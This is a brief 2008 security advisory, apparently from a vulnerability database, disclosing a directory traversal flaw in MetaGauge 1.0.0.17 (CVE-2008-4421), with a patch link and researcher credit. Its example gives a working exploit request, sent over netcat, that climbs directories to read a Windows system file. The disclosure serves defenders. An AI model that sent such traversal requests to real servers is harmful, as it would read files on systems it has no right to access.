Hammer Software MetaGauge 1.0.0.17 Directory Traversal Vulnerability

SEBUGID:SSD-20081004819
Published:2008-10-06
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Title: MetaGauge 1.0.0.17 Directory Traversal

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Vendor: Hammer Software

Vendor URL: www.Hammer-Software.com

Vendor Response: Vendor has been notified and has since addressed the issue in the latest software release.

Description:

A directory traversal vulnerability exists in MetaGauge version 1.0.0.17 (and potentially below) which allows a remote user to view files local to the target server. 

Example:

C:\> nc targethost 2004
GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1


Patch Information:

Hammer has addressed the issue in the latest version of MetaGauge:

http://dl.hammer-software.com/metagauge.zip

CVE:  CVE-2008-4421

Credit:

Brad Antoniewicz

brad.antoniewicz@foundstone.com
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